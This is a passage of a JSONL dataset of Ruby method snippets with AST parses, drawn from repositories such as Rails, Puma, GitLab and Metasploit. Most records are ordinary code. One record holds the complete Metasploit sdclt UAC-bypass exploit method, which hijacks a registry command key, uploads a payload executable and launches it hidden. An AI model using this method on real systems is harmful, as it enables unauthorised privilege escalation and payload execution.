{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/stores/mem_cache_store_test.rb","start_line":455,"raw_source":"def with_memcache_servers_environment_variable(value)\n      original_value = ENV[\"MEMCACHE_SERVERS\"]\n      ENV[\"MEMCACHE_SERVERS\"] = value\n      yield\n    ensure\n      if original_value.nil?\n        ENV.delete(\"MEMCACHE_SERVERS\")\n      else\n        ENV[\"MEMCACHE_SERVERS\"] = original_value\n      end\n    end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"with_memcache_servers_environment_variable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"original_value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MEMCACHE_SERVERS\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"MEMCACHE_SERVERS\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original_value\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"delete\",{\"type\":\"str\",\"children\":[\"MEMCACHE_SERVERS\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"MEMCACHE_SERVERS\"]},{\"type\":\"lvar\",\"children\":[\"original_value\"]}]}]}]}]}","id":"8b6344b2-c59d-4599-b460-8ecf7af462a3"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/policies/conversation_policy.rb","start_line":28,"raw_source":"def inbox_access?\n    user.inboxes.where(account_id: account&.id).exists?(id: record.inbox_id)\n  end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"inbox_access?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"inboxes\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"id\"]}]}]}]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"inbox_id\"]}]}]}]}]}","id":"5167784a-986a-48a6-8231-50d368373f6d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/migration.rb","start_line":24,"raw_source":"def migrate(config=nil, verbose=false)\n    ran = []\n\n    ActiveRecord::Migration.verbose = verbose\n    ActiveRecord::Base.connection_pool.with_connection do\n      begin\n        with_migration_context do |context|\n          if context.needs_migration?\n            ran = context.migrate\n          end\n        end\n      # ActiveRecord::Migrator#migrate rescues all errors and re-raises them as StandardError\n      rescue StandardError => error\n        self.error = error\n        elog('DB.migrate threw an exception', error: error)\n      end\n    end\n\n    # Since the connections that existed before the migrations ran could\n    # have outdated column information, reset column information for all\n    # ApplicationRecord descendents to prevent missing method errors for\n    # column methods for columns created in migrations after the column\n    # information was cached.\n    reset_column_information\n\n    ran\n  end","complexity_score":20.7,"ast_json":"{\"type\":\"def\",\"children\":[\"migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"config\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"verbose\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ran\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migration\"]},\"verbose=\",{\"type\":\"lvar\",\"children\":[\"verbose\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_pool\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_migration_context\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"needs_migration?\"]},{\"type\":\"lvasgn\",\"children\":[\"ran\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"migrate\"]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"error\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"error=\",{\"type\":\"lvar\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"str\",\"children\":[\"DB.migrate threw an exception\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"reset_column_information\"]},{\"type\":\"lvar\",\"children\":[\"ran\"]}]}]}","id":"59e3ec77-f144-42e7-826c-353b3d81cfab"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_time_formatter.rb","start_line":167,"raw_source":"def test_specific_localtime_timezone\n      # 'timezone' takes precedence over 'localtime'.\n      with_timezone(\"UTC-09\") do\n        assert_equal(\"20140926 1400-1000\", format(@fmt, true, \"-10\"))\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_specific_localtime_timezone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_timezone\",{\"type\":\"str\",\"children\":[\"UTC-09\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"20140926 1400-1000\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"ivar\",\"children\":[\"@fmt\"]},{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"-10\"]}]}]}]}]}","id":"051fa7e3-c448-4f5d-b365-c50f2be664fe"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/seeders/demo_data/query_builder.rb","start_line":123,"raw_source":"def filters\n      filters = {}\n\n      set_status_filter! filters\n      set_version_filter! filters\n      set_type_filter! filters\n      set_parent_filter! filters\n      set_assigned_to_filter! filters\n\n      filters\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"filters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filters\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"set_status_filter!\",{\"type\":\"lvar\",\"children\":[\"filters\"]}]},{\"type\":\"send\",\"children\":[null,\"set_version_filter!\",{\"type\":\"lvar\",\"children\":[\"filters\"]}]},{\"type\":\"send\",\"children\":[null,\"set_type_filter!\",{\"type\":\"lvar\",\"children\":[\"filters\"]}]},{\"type\":\"send\",\"children\":[null,\"set_parent_filter!\",{\"type\":\"lvar\",\"children\":[\"filters\"]}]},{\"type\":\"send\",\"children\":[null,\"set_assigned_to_filter!\",{\"type\":\"lvar\",\"children\":[\"filters\"]}]},{\"type\":\"lvar\",\"children\":[\"filters\"]}]}]}","id":"38b78519-f9b2-4ede-a21b-121eccfd6e2c"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/mapper.rb","start_line":407,"raw_source":"def self.normalize_name(name)\n        normalize_path(name)[1..-1].tr(\"/\", \"_\")\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"normalize_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"normalize_path\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-1]}]}]},\"tr\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"str\",\"children\":[\"_\"]}]}]}","id":"af841c1f-f42d-4db2-bc9e-2aedad72c83f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/smb/ms04_007_killbill.rb","start_line":185,"raw_source":"def enc_constr(*str_arr)\n    \"\\x23\" + enc_asn1(str_arr.join(''))\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"enc_constr\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"str_arr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"#\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"enc_asn1\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str_arr\"]},\"join\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}","id":"c0b07c74-acf8-4cd3-8cc9-a02d5fab61ed"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_puma_server.rb","start_line":721,"raw_source":"def test_no_timeout_after_data_received\n    @server.instance_variable_set(:@first_data_timeout, 1)\n    server_run\n\n    socket = send_http \"POST / HTTP/1.1\\r\\nHost: test.com\\r\\nContent-Type: text/plain\\r\\nContent-Length: 11\\r\\n\\r\\n\"\n    sleep 0.5\n\n    socket << \"hello\"\n    sleep 0.5\n    socket << \"world\"\n    sleep 0.5\n    socket << \"!\"\n\n    response = socket.read_response\n\n    assert_equal \"HTTP/1.1 200 OK\", response.status\n  end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_no_timeout_after_data_received\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server\"]},\"instance_variable_set\",{\"type\":\"sym\",\"children\":[\"@first_data_timeout\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"server_run\"]},{\"type\":\"lvasgn\",\"children\":[\"socket\",{\"type\":\"send\",\"children\":[null,\"send_http\",{\"type\":\"str\",\"children\":[\"POST / HTTP/1.1\\r\\nHost: test.com\\r\\nContent-Type: text/plain\\r\\nContent-Length: 11\\r\\n\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.5]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"<<\",{\"type\":\"str\",\"children\":[\"hello\"]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.5]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"<<\",{\"type\":\"str\",\"children\":[\"world\"]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.5]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"<<\",{\"type\":\"str\",\"children\":[\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"read_response\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"HTTP/1.1 200 OK\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"status\"]}]}]}]}","id":"9fcfefb6-3a7e-4186-8263-ba7269ed9f57"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/users/trust_service.rb","start_line":9,"raw_source":"def execute(user)\n      UserCustomAttribute.set_trusted_by(user: user, trusted_by: @current_user)\n      success\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserCustomAttribute\"]},\"set_trusted_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trusted_by\"]},{\"type\":\"ivar\",\"children\":[\"@current_user\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"success\"]}]}]}","id":"274e5b44-9a0f-4275-99d6-4eb758103278"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/bypassuac_sdclt.rb","start_line":82,"raw_source":"def exploit\n    @registry_key = ''\n    @remove_registry_key = false\n    check_permissions!\n    case get_uac_level\n    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,\n      UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,\n      UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT\n      fail_with(Failure::NotVulnerable,\n                \"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...\")\n    when UAC_DEFAULT\n      print_good('UAC is set to Default')\n      print_good('BypassUAC can bypass this setting, continuing...')\n    when UAC_NO_PROMPT\n      print_warning('UAC set to DoNotPrompt - using ShellExecute \"runas\" method instead')\n      shell_execute_exe\n      return\n    end\n\n    @registry_key = 'HKCU\\Software\\Classes\\Folder\\shell\\open\\command'\n    @remove_registry_key = !registry_key_exist?(@registry_key)\n\n    # get directory locations straight\n    win_dir = session.sys.config.getenv('windir')\n    vprint_status('win_dir = ' + win_dir)\n    tmp_dir = session.sys.config.getenv('tmp')\n    vprint_status('tmp_dir = ' + tmp_dir)\n    exploit_dir = win_dir + '\\\\System32\\\\'\n    vprint_status('exploit_dir = ' + exploit_dir)\n    target_filepath = exploit_dir + 'sdclt.exe'\n    vprint_status('exploit_file = ' + target_filepath)\n\n    # make payload\n    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14) + '.exe'\n    payload_pathname = tmp_dir + '\\\\' + payload_name\n    vprint_status('payload_pathname = ' + payload_pathname)\n    vprint_status('Making Payload')\n    payload = generate_payload_exe\n    reg_command = exploit_dir + \"cmd.exe /c start #{payload_pathname}\"\n    vprint_status('reg_command = ' + reg_command)\n    write_reg_values(@registry_key, reg_command)\n\n    # Upload payload\n    vprint_status(\"Uploading Payload to #{payload_pathname}\")\n    write_file(payload_pathname, payload)\n    vprint_status('Payload Upload Complete')\n\n    vprint_status('Launching ' + target_filepath)\n    begin\n      session.sys.process.execute(\"cmd.exe /c \\\"#{target_filepath}\\\"\", nil, 'Hidden' => true)\n    rescue ::Exception => e\n      print_error(\"Executing command failed:\\n#{e}\")\n    end\n    print_warning(\"This exploit requires manual cleanup of '#{payload_pathname}'\")\n    print_status('Please wait for session and cleanup....')\n  end","complexity_score":80.1,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@registry_key\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@remove_registry_key\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"check_permissions!\"]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_uac_level\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UAC_PROMPT_CREDS_IF_SECURE_DESKTOP\"]},{\"type\":\"const\",\"children\":[null,\"UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP\"]},{\"type\":\"const\",\"children\":[null,\"UAC_PROMPT_CREDS\"]},{\"type\":\"const\",\"children\":[null,\"UAC_PROMPT_CONSENT\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UAC_DEFAULT\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"UAC is set to Default\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"BypassUAC can bypass this setting, continuing...\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UAC_NO_PROMPT\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"UAC set to DoNotPrompt - using ShellExecute \\\"runas\\\" method instead\"]}]},{\"type\":\"send\",\"children\":[null,\"shell_execute_exe\"]},{\"type\":\"return\",\"children\":[]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@registry_key\",{\"type\":\"str\",\"children\":[\"HKCU\\\\Software\\\\Classes\\\\Folder\\\\shell\\\\open\\\\command\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@remove_registry_key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_key_exist?\",{\"type\":\"ivar\",\"children\":[\"@registry_key\"]}]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"win_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"config\"]},\"getenv\",{\"type\":\"str\",\"children\":[\"windir\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"win_dir = \"]},\"+\",{\"type\":\"lvar\",\"children\":[\"win_dir\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tmp_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"config\"]},\"getenv\",{\"type\":\"str\",\"children\":[\"tmp\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"tmp_dir = \"]},\"+\",{\"type\":\"lvar\",\"children\":[\"tmp_dir\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exploit_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"win_dir\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\\\System32\\\\\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"exploit_dir = \"]},\"+\",{\"type\":\"lvar\",\"children\":[\"exploit_dir\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_filepath\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit_dir\"]},\"+\",{\"type\":\"str\",\"children\":[\"sdclt.exe\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"exploit_file = \"]},\"+\",{\"type\":\"lvar\",\"children\":[\"target_filepath\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_name\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PAYLOAD_NAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[14]}]}]},\"+\",{\"type\":\"str\",\"children\":[\".exe\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_pathname\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_dir\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\\\\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"payload_pathname = \"]},\"+\",{\"type\":\"lvar\",\"children\":[\"payload_pathname\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Making Payload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]},{\"type\":\"lvasgn\",\"children\":[\"reg_command\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit_dir\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd.exe /c start \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_pathname\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"reg_command = \"]},\"+\",{\"type\":\"lvar\",\"children\":[\"reg_command\"]}]}]},{\"type\":\"send\",\"children\":[null,\"write_reg_values\",{\"type\":\"ivar\",\"children\":[\"@registry_key\"]},{\"type\":\"lvar\",\"children\":[\"reg_command\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Uploading Payload to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_pathname\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"write_file\",{\"type\":\"lvar\",\"children\":[\"payload_pathname\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Payload Upload Complete\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Launching \"]},\"+\",{\"type\":\"lvar\",\"children\":[\"target_filepath\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"process\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd.exe /c \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_filepath\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Hidden\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing command failed:\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"This exploit requires manual cleanup of '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_pathname\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Please wait for session and cleanup....\"]}]}]}]}","id":"bc80670b-1c0a-4f77-a021-7c8bb5800f0f"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/services/spree/data_feeds/google/rss.rb","start_line":93,"raw_source":"def required_attributes\n          Spree::Dependencies.data_feeds_google_required_attributes_service.constantize.new\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"required_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Dependencies\"]},\"data_feeds_google_required_attributes_service\"]},\"constantize\"]},\"new\"]}]}","id":"8395615e-6b1f-4375-b0d4-04087198c0a7"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/schedule_dependency/dependency.rb","start_line":68,"raw_source":"def due_date\n    alive_descendants_dates.max\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"due_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"alive_descendants_dates\"]},\"max\"]}]}","id":"6d2da90e-1bb7-406d-8caa-84c085868f48"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_ae_instance.rb","start_line":89,"raw_source":"def to_export_xml(options = {})\n    require 'builder'\n    xml = options[:builder] ||= ::Builder::XmlMarkup.new(:indent => options[:indent])\n    xml_attrs = {:name => name}\n\n    self.class.column_names.each do |cname|\n      # Remove any columns that we do not want to export\n      next if %w[id created_on updated_on updated_by].include?(cname) || cname.ends_with?(\"_id\")\n\n      # Skip any columns that we process explicitly\n      next if %w[name].include?(cname)\n\n      # Process the column\n      xml_attrs[cname.to_sym] = send(cname)   if send(cname).present?\n    end\n\n    xml.MiqAeInstance(xml_attrs) do\n      ae_values_sorted.each { |v| v.to_export_xml(:builder => xml) }\n    end\n  end","complexity_score":39.0,"ast_json":"{\"type\":\"def\",\"children\":[\"to_export_xml\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"builder\"]}]},{\"type\":\"lvasgn\",\"children\":[\"xml\",{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"builder\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Builder\"]},\"XmlMarkup\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"indent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"indent\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"xml_attrs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"column_names\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"created_on\"]},{\"type\":\"str\",\"children\":[\"updated_on\"]},{\"type\":\"str\",\"children\":[\"updated_by\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"cname\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cname\"]},\"ends_with?\",{\"type\":\"str\",\"children\":[\"_id\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"cname\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sen